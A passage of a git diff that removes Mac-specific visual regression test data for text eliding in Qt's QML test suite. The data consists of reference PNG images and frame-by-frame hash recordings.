672 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 688 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 704 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 720 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 736 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 752 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 768 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 784 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 800 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 816 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 832 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 848 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 864 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 880 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 896 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 912 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 928 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 944 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 960 - image: "elide.0.png" - } - Frame { - msec: 976 - hash: "1678890d66761a30100c37132ccec9a2" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 992 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 1008 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 1024 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 1040 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 1056 - hash: "1678890d66761a30100c37132ccec9a2" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.0.png deleted file mode 100644 index 3dfade5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.1.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.1.png deleted file mode 100644 index 1ee2076..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.2.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.2.png deleted file mode 100644 index ae680be..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.3.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.3.png deleted file mode 100644 index c2859be..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.qml deleted file mode 100644 index 07ad236..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.qml +++ /dev/null @@ -1,991 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 32 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 48 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 64 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 80 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 96 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 112 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 128 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 144 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 160 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 176 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 192 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 208 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 224 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 240 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 256 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 272 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 288 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 304 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 320 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 336 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 352 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 368 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 384 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 400 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 416 - hash: "086a46352aa1221b5e57f5624b0c256b" - } - Frame { - msec: 432 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 448 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 464 - hash: "fc3a7e898d6bfa2af4d774b20609f967" - } - Frame { - msec: 480 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 496 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 512 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 528 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 544 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 560 - hash: "3bcaa6426796bc9097e0aeba90dd5e39" - } - Frame { - msec: 576 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 592 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 608 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 624 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 640 - hash: "4daa612cd7e7ee455ff1a93329202865" - } - Frame { - msec: 656 - hash: "3f362ad550db910f1d9f261557c65913" - } - Frame { - msec: 672 - hash: "3f362ad550db910f1d9f261557c65913" - } - Frame { - msec: 688 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 704 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 720 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 736 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 752 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 768 - hash: "f159011c2b85fe212a32a7b5d2a57016" - } - Frame { - msec: 784 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 800 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 816 - hash: "a892c67199c23e5d9012a6a24cb45d16" - } - Frame { - msec: 832 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 848 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 864 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 880 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 896 - hash: "532e01ed6ede95eca68e641e2edb7f1c" - } - Frame { - msec: 912 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 928 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 944 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 960 - image: "elide2.0.png" - } - Frame { - msec: 976 - hash: "a7dc1d7dde956d62834de0968261386f" - } - Frame { - msec: 992 - hash: "a590e1358fac567dda9fdfc6bfe4ab89" - } - Frame { - msec: 1008 - hash: "a590e1358fac567dda9fdfc6bfe4ab89" - } - Frame { - msec: 1024 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1040 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1056 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1072 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1088 - hash: "778d34ca89b5db88fe26619576e9d337" - } - Frame { - msec: 1104 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1120 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1136 - hash: "9424caee019aa9bccd4156b0b9ca2723" - } - Frame { - msec: 1152 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1168 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1184 - hash: "000061a140ab71a44c0480a92ad3bc70" - } - Frame { - msec: 1200 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1216 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1232 - hash: "5dec9638853165428cd15ae02e1d03ce" - } - Frame { - msec: 1248 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1264 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1280 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1296 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1312 - hash: "ecb69bdbd13114715f738b1ace3ecf51" - } - Frame { - msec: 1328 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1344 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1360 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1376 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1392 - hash: "923b4f4f4a3dbaefbf003859067b2ea9" - } - Frame { - msec: 1408 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1424 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1440 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1456 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1472 - hash: "d4230a476237f9e13a132e775f1b960c" - } - Frame { - msec: 1488 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1504 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1520 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1536 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1552 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1568 - hash: "504ad2ba8543f7ad6490bd45d86fbef9" - } - Frame { - msec: 1584 - hash: "dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1600 - hash: "dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1616 - hash: "dd412c6a2e5cb8890cb43142c84a5673" - } - Frame { - msec: 1632 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1648 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1664 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1680 - hash: "38b1fa7bd4e2f13b05caa62903c56ab6" - } - Frame { - msec: 1696 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1712 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1728 - hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" - } - Frame { - msec: 1744 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1760 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1776 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1792 - hash: "9effd5fc19246cfe3d2f5968c5caaa4e" - } - Frame { - msec: 1808 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1824 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1840 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1856 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1872 - hash: "4fa14ae57d170b16fd90d59d5ec83561" - } - Frame { - msec: 1888 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1904 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1920 - image: "elide2.1.png" - } - Frame { - msec: 1936 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1952 - hash: "976dd5bc154522438f92790f28639512" - } - Frame { - msec: 1968 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 1984 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2000 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2016 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2032 - hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" - } - Frame { - msec: 2048 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2064 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2080 - hash: "84bdf634cfd4de588f2b0984aa3e97bd" - } - Frame { - msec: 2096 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2112 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2128 - hash: "1a978ed6951afe40912efcfb54dcce65" - } - Frame { - msec: 2144 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2160 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2176 - hash: "a57eea59fe6475164e24688489977869" - } - Frame { - msec: 2192 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2208 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2224 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2240 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2256 - hash: "69ac1d93bd51f495783dbc6a0f7b27be" - } - Frame { - msec: 2272 - hash: "04c62a4d01e9309eaeea87902013c8b9" - } - Frame { - msec: 2288 - hash: "04c62a4d01e9309eaeea87902013c8b9" - } - Frame { - msec: 2304 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2320 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2336 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2352 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2368 - hash: "fac2f5730a600d6b69280d5e6962c1d2" - } - Frame { - msec: 2384 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2400 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2416 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2432 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2448 - hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" - } - Frame { - msec: 2464 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2480 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2496 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2512 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2528 - hash: "96a5678ee5bcbf28df6a2bf66b2b6189" - } - Frame { - msec: 2544 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2560 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2576 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2592 - hash: "abb220abcd579abd988b6f9f7e0bc2b7" - } - Frame { - msec: 2608 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2624 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2640 - hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" - } - Frame { - msec: 2656 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2672 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2688 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2704 - hash: "c13ec1d294921e6a56f6ac4198e084eb" - } - Frame { - msec: 2720 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2736 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2752 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2768 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2784 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2800 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2816 - hash: "53295720dbabe6fbfff56bea0e0ba7f1" - } - Frame { - msec: 2832 - hash: "f44b88b80219497370b5d2ad380d03bf" - } - Frame { - msec: 2848 - hash: "f44b88b80219497370b5d2ad380d03bf" - } - Frame { - msec: 2864 - hash: "a093510751799f3466156f9775988044" - } - Frame { - msec: 2880 - image: "elide2.2.png" - } - Frame { - msec: 2896 - hash: "a093510751799f3466156f9775988044" - } - Frame { - msec: 2912 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2928 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2944 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2960 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2976 - hash: "6327bcbb2d78d3c33eb964643b0d09a5" - } - Frame { - msec: 2992 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3008 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3024 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3040 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3056 - hash: "d7da3826914ad1d2696803b659992e73" - } - Frame { - msec: 3072 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3088 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3104 - hash: "ad40dc153a57c35ea62d9d044f08c9ac" - } - Frame { - msec: 3120 - hash: "df90afe882b18f3fd7b12e52ff36e66f" - } - Frame { - msec: 3136 - hash: "df90afe882b18f3fd7b12e52ff36e66f" - } - Frame { - msec: 3152 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3168 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3184 - hash: "5b84785ffe15c15c3b94c845db7a4a44" - } - Frame { - msec: 3200 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3216 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3232 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3248 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3264 - hash: "f5ca71af8d9fa1809ab88b60f9170bb5" - } - Frame { - msec: 3280 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3296 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3312 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3328 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3344 - hash: "39f1b201715413f13a60f449eef29706" - } - Frame { - msec: 3360 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3376 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3392 - hash: "4baf5c1227de45f9e620fe6eb0590014" - } - Frame { - msec: 3408 - hash: "e1ce9c06e59fb6348fff3ce650c7943e" - } - Frame { - msec: 3424 - hash: "e1ce9c06e59fb6348fff3ce650c7943e" - } - Frame { - msec: 3440 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3456 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3472 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3488 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3504 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3520 - hash: "ad812bdef31b4f1f42c35f7d56b3af83" - } - Frame { - msec: 3536 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3552 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3568 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3584 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3600 - hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" - } - Frame { - msec: 3616 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3632 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3648 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3664 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3680 - hash: "b8853dc109d063d982952780aa80419a" - } - Frame { - msec: 3696 - hash: "6bfd7cfd6369df1eb570fda103d9e009" - } - Frame { - msec: 3712 - hash: "6bfd7cfd6369df1eb570fda103d9e009" - } - Frame { - msec: 3728 - hash: "b6dba4a456cd8d1b62501039cb796625" - } - Frame { - msec: 3744 - hash: "b6dba4a456cd8d1b62501039cb796625" - } - Frame { - msec: 3760 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3776 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3792 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3808 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3824 - hash: "f43892fffe4a8ce005b60ec43ce0aa4a" - } - Frame { - msec: 3840 - image: "elide2.3.png" - } - Frame { - msec: 3856 - hash: "d2e873e69aed3e0b6e53123cd63e386c" - } - Frame { - msec: 3872 - hash: "d2e873e69aed3e0b6e53123cd63e386c" - } - Frame { - msec: 3888 - hash: "baa8edfce77628c7a1ec83adce96e2c6" - } - Frame { - msec: 3904 - hash: "baa8edfce77628c7a1ec83adce96e2c6" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.0.png deleted file mode 100644 index 80549b4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.qml deleted file mode 100644 index c2fd0d8..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.qml +++ /dev/null @@ -1,303 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "17f39c541a0b5bf958c3fdaa51b72fec" - } - Frame { - msec: 32 - hash: "da61bb1afef532688045116bcce1da40" - } - Frame { - msec: 48 - hash: "04ddcb158ce8ade4ea9ad16405c7d81a" - } - Frame { - msec: 64 - hash: "7ca43ec7a6e630c9bc07478abf5c2686" - } - Frame { - msec: 80 - hash: "ae2c4e73395cf4a5663110ba1b9996b2" - } - Frame { - msec: 96 - hash: "5059426cced6ff6f92102100416b34d8" - } - Frame { - msec: 112 - hash: "e816cb366ba9498d0ae194b789c25f12" - } - Frame { - msec: 128 - hash: "fd8cd9b2916b7045086df92d19e8b436" - } - Frame { - msec: 144 - hash: "965dfe4cad0a3d07c0b086d6351a43a1" - } - Frame { - msec: 160 - hash: "56759a670c864d5f2ae392fa8545f3a4" - } - Frame { - msec: 176 - hash: "8d3c2be4fcef526650cc84b5c2d29170" - } - Frame { - msec: 192 - hash: "6d9f995bef186a69b259b8d18470f0e7" - } - Frame { - msec: 208 - hash: "670c68a0943c5f037f8bf4c9ca0df501" - } - Frame { - msec: 224 - hash: "6218cf02cb762aa6c33985fe1b2e47bb" - } - Frame { - msec: 240 - hash: "6e3424f2b72d6582ceb5a6c1bfe3dba4" - } - Frame { - msec: 256 - hash: "fb819344ab1d2966b043be790831e680" - } - Frame { - msec: 272 - hash: "a729845b780cc708ddd578eab3bc0ab1" - } - Frame { - msec: 288 - hash: "543f6566c4dfaecb70007848cc4f8525" - } - Frame { - msec: 304 - hash: "5497699414bd8a428ead9703dc7273d5" - } - Frame { - msec: 320 - hash: "e9230e525bb0ce33fe4bf3a2c948357d" - } - Frame { - msec: 336 - hash: "ef6a6989f013d444547c0b98a65a34bf" - } - Frame { - msec: 352 - hash: "ee89f5163fe269884d59acac7fc23336" - } - Frame { - msec: 368 - hash: "0ffb11ceccdc607c1a072dde4aa40f93" - } - Frame { - msec: 384 - hash: "97a51d7916e04815724506e289040e2a" - } - Frame { - msec: 400 - hash: "a63d6d73827e1b40a7fec76e6555d7ab" - } - Frame { - msec: 416 - hash: "d3eaf72442852317a48dc2b638ad48be" - } - Frame { - msec: 432 - hash: "fa867a486d51089ddfeb60b9d44b329e" - } - Frame { - msec: 448 - hash: "834ee944cfc63209bcba94153ccd2c4e" - } - Frame { - msec: 464 - hash: "6d637d4763ae457233ab669f9f124bc1" - } - Frame { - msec: 480 - hash: "66c60bd9de1870f46b726c404ab924d5" - } - Frame { - msec: 496 - hash: "088499b53390e3a2c3ca7f42cac101a4" - } - Frame { - msec: 512 - hash: "19d41f7696c86120460c4db7a0f9be1a" - } - Frame { - msec: 528 - hash: "cd3ae14964e174db94e3e6c8609f366a" - } - Frame { - msec: 544 - hash: "0c2172e091c2fb42d7c016779fa543d7" - } - Frame { - msec: 560 - hash: "7534175e24b2cbab08518de8fc691003" - } - Frame { - msec: 576 - hash: "a9ef64d20b4f93e60f25753e2d7dd2e0" - } - Frame { - msec: 592 - hash: "d8e62a9fec27bfc892b0f3034bc73c3f" - } - Frame { - msec: 608 - hash: "f8eee41f72e17693074a2ac250bb850e" - } - Frame { - msec: 624 - hash: "3a08b62a8aa1f410415afbd7b8ee8728" - } - Frame { - msec: 640 - hash: "0c4fba2bc8b7e440736f4a23d048c23c" - } - Frame { - msec: 656 - hash: "521264dbeec0fbe3a467739f0c3f7b85" - } - Frame { - msec: 672 - hash: "2c455560a624acfb7f316eae8926d765" - } - Frame { - msec: 688 - hash: "c9fa632a0998cfae39d434b623b3060d" - } - Frame { - msec: 704 - hash: "506ea16572fa0ee72cddcedfe5b4b9ea" - } - Frame { - msec: 720 - hash: "83ae06a3ad24d2a6d49c71df2a287716" - } - Frame { - msec: 736 - hash: "d4b11b45b4f97de0c0b878b97b804f09" - } - Frame { - msec: 752 - hash: "868aac6c273b7cc90c31c14298ab9a3b" - } - Frame { - msec: 768 - hash: "03d4222586194bb6513305d1837d3467" - } - Frame { - msec: 784 - hash: "21e6cd89f06077bd5d346c7ccb8fa1e9" - } - Frame { - msec: 800 - hash: "326092c4c29217f5afb5730ab3984353" - } - Frame { - msec: 816 - hash: "4963d64093e65fe1973ffab5b7a15abc" - } - Frame { - msec: 832 - hash: "3125e6e553bbf3f2fcf8fbf797a0c1f8" - } - Frame { - msec: 848 - hash: "879b24c994d4a9854d08bda2bbf2ceda" - } - Frame { - msec: 864 - hash: "03c4320dc2aa030c341d54899869b561" - } - Frame { - msec: 880 - hash: "ae0e91975aecc6a416b4a23504fced32" - } - Frame { - msec: 896 - hash: "e4150bdf0d4bab9bddc4605a9bde5b69" - } - Frame { - msec: 912 - hash: "dc961cb82a0e58603b3914f16f0a3f52" - } - Frame { - msec: 928 - hash: "5339507c303e42ecab853ca1688881f3" - } - Frame { - msec: 944 - hash: "a7c616c57f98eb03c1501747ea1a8b45" - } - Frame { - msec: 960 - image: "multilength.0.png" - } - Frame { - msec: 976 - hash: "773ad6bc56f80bd5f6ce346ae0bc79c9" - } - 